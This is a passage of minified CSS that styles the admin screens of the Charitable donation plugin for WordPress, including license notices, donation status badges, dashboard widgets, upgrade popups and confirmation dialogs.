#e1e1e1;background-color:#fef4e8}.charitable-settings-notice.license-notice{margin-top:-10px}.charitable-licensed-product h4{width:230px;margin-right:20px;line-height:40px}.charitable-licensed-product .charitable-settings-field{float:left;width:100%}@media (min-width:68.125em){.charitable-licensed-product .charitable-settings-field{width:312px;margin-right:20px}}.charitable-licensed-product .license-meta{font-size:12px;line-height:40px}.charitable-licensed-product .license-active{float:left}.charitable-licensed-product .valid-license{color:#f89d35;font-weight:700}.charitable-licensed-product .license-deactivation{float:left;margin:6px 0}.charitable-licensed-product .license-invalid{color:#f89d35}.charitable-licensed-product .license-expiration-date{float:right;margin-left:10px}.charitable-help{display:block;margin-top:4px;font-size:13px;line-height:21px;font-style:italic;color:#777}.form-table .charitable-help p{font-size:13px;line-height:21px}.form-table td.charitable-fullwidth{padding:15px 0}.charitable-shortcode-options ul{list-style:disc;margin-left:16px;font-style:normal}.charitable-shortcode-options li{margin-bottom:2px}@media (min-width:48em){.charitable_page_charitable-settings .form-table th{min-width:250px}}body.charitable_page_charitable-settings div#charitable-settings table.form-table{max-width:1000px}.charitable_page_charitable-settings .form-table th label{font-size:13px}.charitable_page_charitable-settings .form-table td select{max-width:400px}.charitable-radio-list{padding:0;margin:0;list-style:none}.charitable-radio-list li{display:inline-block;margin-right:20px}.charitable-checkbox-list{width:auto;margin:0;padding:0}.charitable-notice{padding:5px 10px;font-size:14px;background-color:#fff}.charitable-notice.charitable-notice-error{border-left:4px solid #dc3232}.charitable-admin-notice-five-star-rating a.button-link:hover,.charitable-admin-notice-five-star-rating button.button:hover{background-color:transparent}.charitable-admin-notice-five-star-rating p{margin-top:0;margin-bottom:0}.charitable-admin-notice-five-star-rating[data-step="2"],.charitable-admin-notice-five-star-rating[data-step="3"]{display:none}.edit-php.post-type-charitable .tablenav .actions{padding-right:0}.edit-php.post-type-charitable .tablenav #end_date,.edit-php.post-type-charitable .tablenav #start_date{width:10.5em}.edit-php.post-type-charitable .tablenav #post-query-submit{display:none}.edit-php.post-type-charitable .tablenav #delete_all{margin-top:3px}.edit-php.post-type-charitable .tablenav .charitable-export-button:before,.edit-php.post-type-charitable .tablenav .charitable-filter-button:before{vertical-align:middle;margin-top:-2px;width:16px;height:16px;font-size:16px}.edit-php.post-type-charitable .tablenav a.button{display:inline-block}.edit-php.post-type-charitable .tablenav.top{margin:0 0 12px 0}.edit-php.post-type-charitable .tablenav.top select.campaign_id{float:none;vertical-align:top}.edit-php.post-type-charitable .tablenav.top .actions{overflow:visible}.edit-php.post-type-charitable .tablenav.top .actions .has-popup{position:relative;display:inline-block;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup{visibility:hidden;width:260px;background-color:#999;color:#fff;text-align:center;border-radius:6px;padding:4px;position:absolute;z-index:1;top:125%;left:50%;margin-left:-136px}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup input,.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup label,.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup select{width:80%;margin-bottom:1em}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup .inner{background:#fff;padding:1em 0;border-radius:4px}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup::before{content:"";position:absolute;bottom:100%;left:50%;margin-left:-5px;border-width:5px;border-style:solid;border-color:transparent transparent #999 transparent}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup.show{visibility:visible!important;-webkit-animation:fadeIn 1s;animation:fadeIn 1s}.edit-php.post-type-charitable .tablenav.top .actions .charitable-export-actions{margin-left:8px}.edit-php.post-type-charitable .wp-list-table .meta{display:block;color:#999}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark,.edit-php.post-type-charitable .wp-list-table .column-post_status mark{padding:2px 4px;margin:0;text-align:center;white-space:nowrap;background:#999;color:#fff;border-radius:2px;font-size:10px;letter-spacing:1px;text-transform:uppercase;font-weight:700}form#posts-filter .actions.charitable-export-actions{margin-top:3px}.post-type-charitable #donation-summary mark{padding:2px 4px 2px 6px}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-pending,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-pending,.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-pending{background-color:#999}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-completed,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-completed,.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-completed{background-color:#34d058}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-failed,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-failed,.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-failed{background-color:#f7a129}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-cancelled,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-cancelled,.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-cancelled{background-color:red}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-refunded,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-refunded,.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-refunded{background-color:#3fb8f5}.edit-php.post-type-campaign td.column-ID,.edit-php.post-type-campaign th.manage-column.column-ID{width:2.2em;padding:11px 3px}.edit-php.post-type-campaign .column-status mark{padding:2px 4px;margin:0;text-align:center;white-space:nowrap;background:#999;color:#fff;border-radius:2px;font-size:10px;letter-spacing:1px;text-transform:uppercase;font-weight:700}.edit-php.post-type-campaign .column-status mark.active{background-color:#23282d}.edit-php.post-type-campaign .column-status mark.finished{background-color:#3fb8f5}.edit-php.post-type-campaign .column-status mark.successful{background-color:#34d058}.edit-php.post-type-campaign .column-status mark.unsuccessful{background-color:red}#charitable_dashboard_donations .hide-if-no-js{padding:10px 0;text-align:center}#charitable_dashboard_donations .inside{margin:0;padding:0}#charitable_dashboard_donations .charitable-donation-statistics{margin-bottom:20px}#charitable_dashboard_donations .charitable-donation-statistics:after,#charitable_dashboard_donations .charitable-donation-statistics:before{content:" ";display:table}#charitable_dashboard_donations .charitable-donation-statistics:after{clear:both}#charitable_dashboard_donations .cell{box-sizing:border-box;float:left;width:50%;padding:23px 0 10px;border-right:1px solid #e5e5e5;border-bottom:1px solid #e5e5e5;text-align:center}#charitable_dashboard_donations .cell .amount{color:#f89d35;font-size:28px;font-weight:400;padding-bottom:0}#charitable_dashboard_donations .summary{margin-top:0;color:#777}#charitable_dashboard_donations .summary .time-period{font-weight:700;color:#444}#charitable_dashboard_donations .recent-donations{margin:0 11px}#charitable_dashboard_donations .recent-donations table{width:100%;border-collapse:collapse}#charitable_dashboard_donations .recent-donations caption{text-align:left}#charitable_dashboard_donations .recent-donations caption h3{padding-left:0}#charitable_dashboard_donations .recent-donations td{padding:10px 0;border-top:1px solid #e5e5e5}#charitable_dashboard_donations .recent-donations tr:last-child td{border-bottom:1px solid #e5e5e5}#charitable_dashboard_donations .recent-donations .donation-total{text-align:right;font-weight:700}#charitable_dashboard_donations .recent-donations .donation-id{width:80px}.charitable-admin-banner-top-of-page{text-align:center}.charitable-admin-banner-top-of-page .button-link{position:absolute;top:48px;right:-1px;font-size:20px;color:#fff;font-weight:700;text-decoration:none;margin-left:5px;padding:6px 10px}@media screen and (min-width:783px){.charitable-admin-banner-top-of-page{padding:10px 46px 10px 22px;font-size:13px;line-height:1.4;color:#fff;margin-left:-20px;padding:9px 32px 9px 20px;background:#e89940;display:none}.charitable-admin-banner-top-of-page a{color:#fff}[dir=rtl] .charitable-admin-banner-top-of-page{margin-left:0;margin-right:-20px}.charitable-license-expiring-banner.charitable-admin-banner-top-of-page{background:#e84040}.charitable-license-expiring-banner.charitable-admin-banner-top-of-page a:hover{color:#fff!important}}@media screen and (min-width:601px){.charitable-admin-banner-top-of-page .button-link{top:0}}@media screen and (min-width:783px){.charitable-admin-banner-top-of-page .button-link{right:9px}}.charitable-notice.notice-five-star-review{z-index:0}.charitable-notice:first-of-type{margin-left:3px;margin-right:20px;margin-top:10px}.charitable-notice{margin-top:10px;margin-left:3px;margin-right:20px;margin-bottom:0;padding:10px 10px}.charitable-notice.error,.charitable-notice.updated{margin:10px 20px 2px 3px}form#posts-filter table tbody#the-list tr.child td{padding:0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner{justify-content:space-between;flex-direction:row;display:flex;flex:0 0 100%;flex-direction:row;align-items:center;padding:15px 30px;flex-wrap:nowrap;position:relative}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner>div{flex-grow:1;display:flex;align-items:center}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-icon{width:auto;height:45px;margin:0 15px 0 0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-icon img{height:45px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-text p{font-size:16px;margin-top:0;margin-bottom:0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-button{display:flex;flex-direction:row;justify-content:end;min-width:20%}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .button-link{background-color:#5aa152;color:#fff;padding:10px 30px;position:relative;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-family:Inter;font-size:13px;line-height:normal;color:#2271b1;cursor:pointer;display:table;text-align:center;float:right}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .button-link:hover{background-color:#3f7539}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close{width:18px;display:inline-block;height:18px;margin-left:20px;margin-right:20px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close img{width:18px;height:18px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close:hover{opacity:.5}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link,form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link:active,form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link:visited{color:#fff}body.wp-admin .jconfirm.jconfirm-light .jconfirm-bg,body.wp-admin .jconfirm.jconfirm-white .jconfirm-bg{opacity:.8}body.post-type-campaign .jconfirm .jconfirm-cell{display:table-cell}body.post-type-campaign .jconfirm.jconfirm-type-lite-pro-ad{background-color:#fff;color:#2b2e39;font-family:Inter,sans-serif}.charitable-lite-pro-popup{padding:0 20px;display:flex;font-size:16px}.charitable-lite-pro-popup-left{flex:1}.charitable-lite-pro-popup-right{flex:1}.charitable-lite-pro-popup h1{color:#3f414c;font-size:24px;line-height:33px;margin:0 0 15px 0;font-weight:700}.charitable-lite-pro-popup h2{font-weight:400;font-size:14px;line-height:21px;color:#5a5c65;margin:0 0 30px 0}.charitable-lite-pro-popup ul{margin:0 20px 25px 0;display:table;list-style-position:outside;font-size:16px}.charitable-lite-pro-popup li{background-image:url("../images/icons/green_check_circle.png");background-repeat:no-repeat;font-size:14px;font-weight:500;line-height:21px;color:#3f414c;padding-left:25px;margin:0 0 15px 0;padding-left:30px}.charitable-lite-pro-popup li p{margin:-2px 0 0 0;display:inline;padding:0}.charitable-lite-pro-popup .charitable-lite-pro-popup-button{padding:16px 18px;background:#e89940;margin:10px auto 0 auto;color:#fff;text-align:center;font-size:16px;line-height:24px;display:block;text-decoration:none;font-weight:600;border-radius:5px}.charitable-lite-pro-popup .charitable-lite-pro-popup-link{display:block;font-size:14px;line-height:18px;margin:20px 0 0 0;font-weight:400;color:#486dcb}.charitable-lite-pro-popup .charitable-lite-pro-popup-link:hover{text-decoration:underline}.charitable-lite-pro-popup a.charitable-lite-pro-popup-link{text-decoration:none;color:#3459c4!important}.charitable-lite-pro-popup .charitable-lite-pro-popup-right img{padding:0 0 0 20px;margin-top:30px}body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup a.charitable-lite-pro-popup-link,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup h1,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup h2,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup li{color:#2b2e39}.charitable-licensed-product .license-deactivation{margin:2px 0}textarea.charitable-settings-field{width:75%;font-size:13px;line-height:21px}.starburst{background:#347d39;width:2.75em;height:2.75em;text-align:center;color:#fff;font-weight:800;display:flex;align-items:center;justify-content:center;position:absolute;top:50%;margin-top:-1.25em;margin-left:-1.25em}.starburst span{width:100%;height:100%;background:inherit;transform:rotate(-45deg);display:flex;align-items:center;justify-content:center}.starburst span:after,.starburst span:before{content:"";position:absolute;top:0;left:0;width:100%;height:100%;background:inherit;z-index:-1;transform:rotate(30deg)}.starburst span:after{transform:rotate(30deg)}.starburst span:before{transform:rotate(-30deg)}.starburst:after,.starburst:before{content:"";position:absolute;top:0;left:0;width:100%;height:100%;background:inherit;z-index:-1;transform:rotate(30deg)}.starburst:after{transform:rotate(-30deg)}#wpcharitable-starburst-new{left:5px;top:0}#qt__charitable_campaign_description_toolbar input.ed_button{padding:0 10px}td.default_amount-col,th.default_amount-col{vertical-align:middle;max-width:50px;width:50px}#create-campaign-form label{font-size:16px;line-height:21px;margin-bottom:5px;margin-top:15px;display:block}#create-campaign-form p{margin:5px 0}#create-campaign-form small{font-size:12px;line-height:16px}#create-campaign-form input[type=text]{margin-bottom:10px;width:90%}#create-campaign-form input[type=text]::placeholder{color:#ccc;opacity:1}#create-campaign-form input[type=text]:-ms-input-placeholder{color:#ccc}#create-campaign-form input[type=text]::-ms-input-placeholder{color:#ccc}div#charitable-settings table.form-table tbody tr.section-heading th h4{font-size:20px;font-weight:700;margin:0 0 6px 0}div#charitable-settings table.form-table tbody tr.section-heading p{margin-bottom:0}div#charitable-settings table.form-table tbody tr.section-heading.dangerous-settings th h4{color:red}div#charitable-settings table.form-table tbody tr.section-heading.dangerous-settings th:first-child{width:inherit}div#charitable-settings table.form-table tbody tr th{padding:5px 0}div#charitable-settings table.form-table tbody tr th h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tbody tr th[scope=row] h4{font-weight:400;font-size:inherit}div#charitable-settings table.form-table tbody tr td p{margin:0 0 10px 0}div#charitable-settings table.form-table tbody tr:first-child th:first-child{width:auto}div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tbody tr.section-subheading th h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tr input[type=email],div#charitable-settings table.form-table tr input[type=password],div#charitable-settings table.form-table tr input[type=text],div#charitable-settings table.form-table tr select{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;border-radius:3px;box-shadow:none;display:inline-block;vertical-align:middle;padding:7px 24px 7px 12px;margin:0 10px 0 0;min-height:35px;font-size:13px;line-height:29px;font-weight:500}div#charitable-settings table.form-table tr.general-settings input[type=password],div#charitable-settings table.form-table tr.general-settings input[type=text],div#charitable-settings table.form-table tr.general-settings select{min-width:400px}div#charitable-settings table.form-table tr.restrict-radio ul.charitable-radio-list.charitable-settings-field{width:50%}div#charitable-settings table.form-table tr.restrict-radio ul.charitable-radio-list li{display:block;font-size:14px}div#charitable-settings .green{color:green}div#charitable-settings input#charitable-settings-upgrade-license-key:read-only{opacity:.4}div#charitable-settings .license-message.license-valid- button.charitable-btn-deactivate,div#charitable-settings .license-message.license-valid-false button.charitable-btn-deactivate{display:none}div#charitable-settings .charitable-btn{border:1px;border-top-color:currentcolor;border-top-style:none;border-right-color:currentcolor;border-right-style:none;border-bottom-color:currentcolor;border-bottom-style:none;border-left-color:currentcolor;border-left-style:none;border-style:solid;border-radius:3px;cursor:pointer;display:inline-block;margin:0;margin-right:0;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none;border-radius:7px}div#charitable-settings .charitable-btn-md{font-size:13px;font-weight:600;padding:8px 12px;min-height:39px}div#charitable-settings .charitable-btn-orange{background-color:#e27730;border-color:#e27730;color:#fff}div#charitable-settings .charitable-btn-orange:hover:not(:disabled){background-color:#c96528;border-color:#c96528;color:#fff}div#charitable-settings .charitable-btn-green{background-color:#5aa152;border-color:#5aa152;color:#fff}div#charitable-settings .charitable-btn-green:hover:not(:disabled){background-color:#4c8a45;border-color:#4c8a45;color:#fff}div#charitable-settings p.submit .button.button-secondary{border-radius:5px;font-family:Inter,sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize;height:auto}div#charitable-settings .charitable-setting-row button{margin-right:10px}body.charitable-admin-settings div.jconfirm *,body.charitable-admin-settings div.jconfirm ::after,body.charitable-admin-settings div.jconfirm ::before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box{display:grid;grid-template-columns:repeat(2,1fr);justify-items:center;animation:none;background:#fff;border-radius:6px;border-top-style:solid;border-top-width:4px;box-shadow:0 3px 6px rgba(0,0,0,.15);padding-top:34px;max-width:400px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c{grid-column:1/-1;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{border-top-width:0;padding-top:25px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default .jconfirm-title-c{margin-bottom:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default .jconfirm-title-c .jconfirm-icon-c{font-size:44px;margin-bottom:-6px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default button.btn-confirm{background-color:#e27730;border-color:#e27730}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default button.btn-confirm:hover{background-color:#cd6622;border-color:#cd6622}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red{border-top-color:#d63638!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red .jconfirm-title-c .jconfirm-icon-c{color:#d63638!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red button.btn-confirm{background-color:#d63638;border-color:#d63638}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red button.btn-confirm:hover{background-color:#b32d2e;border-color:#b32d2e}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange{border-top-color:#e27730!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange .jconfirm-title-c .jconfirm-icon-c{color:#e27730!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange button.btn-confirm{background-color:#e27730;border-color:#e27730}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange button.btn-confirm:hover{background-color:#cd6622;border-color:#cd6622}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow{border-top-color:#ffb900!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow .jconfirm-title-c .jconfirm-icon-c{color:#ffb900!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow button.btn-confirm{background-color:#ffb900;border-color:#ffb900}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow button.btn-confirm:hover{background-color:#fa0;border-color:#fa0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue{border-top-color:#0399ed!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue .jconfirm-title-c .jconfirm-icon-c{color:#0399ed!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue button.btn-confirm{background-color:#0399ed;border-color:#0399ed}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue button.btn-confirm:hover{background-color:#036aab;border-color:#036aab}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green{border-top-color:#00a32a!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green .jconfirm-title-c .jconfirm-icon-c{color:#00a32a!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green button.btn-confirm{background-color:#00a32a;border-color:#00a32a}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green button.btn-confirm:hover{background-color:#008a20;border-color:#008a20}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple{border-top-color:#7a30e2!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple .jconfirm-title-c .jconfirm-icon-c{color:#7a30e2!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple button.btn-confirm{background-color:#7a30e2;border-color:#7a30e2}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple button.btn-confirm:hover{background-color:#5c24a9;border-color:#5c24a9}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon{color:transparent;font-family:FontAwesome;height:14px;opacity:1;right:10px;top:10px;width:14px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:after{color:#bbb;content:"\f00d";font-size:16px;left:0;position:absolute;top:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:hover:after{color:#777!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c{margin:0 0 20px 0;padding:0;font-weight:600}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-icon-c{font-size:47px;margin:0;-ms-transform:none!important;transform:none!important;-webkit-transition:none!important;transition:none!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-icon-c+.jconfirm-title{margin-top:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-title{color:#444;display:block;line-height:30px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane{display:block;margin-bottom:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content{color:#444;font-size:16px;line-height:24px;margin-bottom:0;overflow:inherit}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content.lite-upgrade p{color:#777;font-size:18px;padding:0 20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p{font-size:inherit;line-height:inherit;margin:0 0 16px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p:last-of-type{margin:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p.large{font-size:18px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p.small{font-size:14px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=email],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=number],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=password],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=search],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=tel],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=text],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=url],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content select,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content textarea{margin:10px 2px;width:calc(100% - 4px)}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .already-purchased{display:block;grid-row:5;grid-column:1/-1;color:#bbb;font-size:14px;margin-top:15px;text-decoration:underline;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .already-purchased:hover{color:#777;text-decoration:underline}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note{grid-row:4;grid-column:1/-1;margin:25px 0 0 0;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note p{background-color:#fcf9e8;color:#777;font-size:16px;margin:0 -30px;padding:22px 52px 12px 52px;position:relative}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note p:after{top:-16px;background-color:#fff;border-radius:50%;color:#00a32a;content:"\f058";display:inline-block;font:normal normal normal 14px FontAwesome;font-size:26px;margin-right:-18px;padding:5px 6px;position:absolute;right:50%;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note span{color:#00a32a;font-weight:700}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note a{color:#777;display:block;margin-top:12px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .feature-video{margin:30px 0 0 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .pro-feature-video{margin:15px 0 10px 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box input[type=text]:not(.choices__input){display:block;width:99%;border:1px solid #d6d6d6;padding:10px!important;box-shadow:none;margin:10px 1px 1px 1px!important;line-height:1!important;outline:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box input[type=text]:not(.choices__input):focus{border-color:#007cba;box-shadow:0 0 0 1px #007cba}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons{margin-top:-10px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button{min-width:83px;background:#f8f8f8;border:1px solid #ccc;border-radius:4px;color:#777;font-size:16px;font-weight:600;line-height:20px;outline:0;padding:11px 17px;text-transform:none;margin:10px;transition-property:all;transition-duration:.15s;transition-timing-function:ease-out}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button:hover{background:#eee;border-color:#ccc}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button[disabled]{cursor:no-drop;pointer-events:none;opacity:.25}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-confirm{color:#fff}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.hidden+button{margin-left:0;margin-right:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-block{display:block;margin:0 0 10px 0!important;text-align:center;width:100%}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-normal-case{text-transform:none!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button i{margin:0 10px 0 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .error{color:#d63638;display:none}.charitable-report-table-container-wrapper{position:relative}.charitable-cta-lite-to-pro{max-width:1000px;border:1px solid #dadada;padding:0!important;background-color:#fff;background-image:url("../../images/lite-to-pro/cta.png");background-size:100%;background-repeat:no-repeat;background-position:500px 0}.charitable-cta-lite-to-pro .charitable-cta-content{margin-top:40px!important;display:flex;flex-wrap:wrap;flex-direction:row;width:100%;justify-content:space-between;align-items:center;gap:50px}.charitable-cta-lite-to-pro .charitable-cta-content h5{font-size:20px;line-height:24px;font-weight:700;margin:0 0 10px 0}.charitable-cta-lite-to-pro .charitable-cta-content>div{flex:1.5}.charitable-cta-lite-to-pro .charitable-cta-content>div:first-child{flex:1.5}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left{padding:0 25px 0 25px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list{margin:20px 0 0 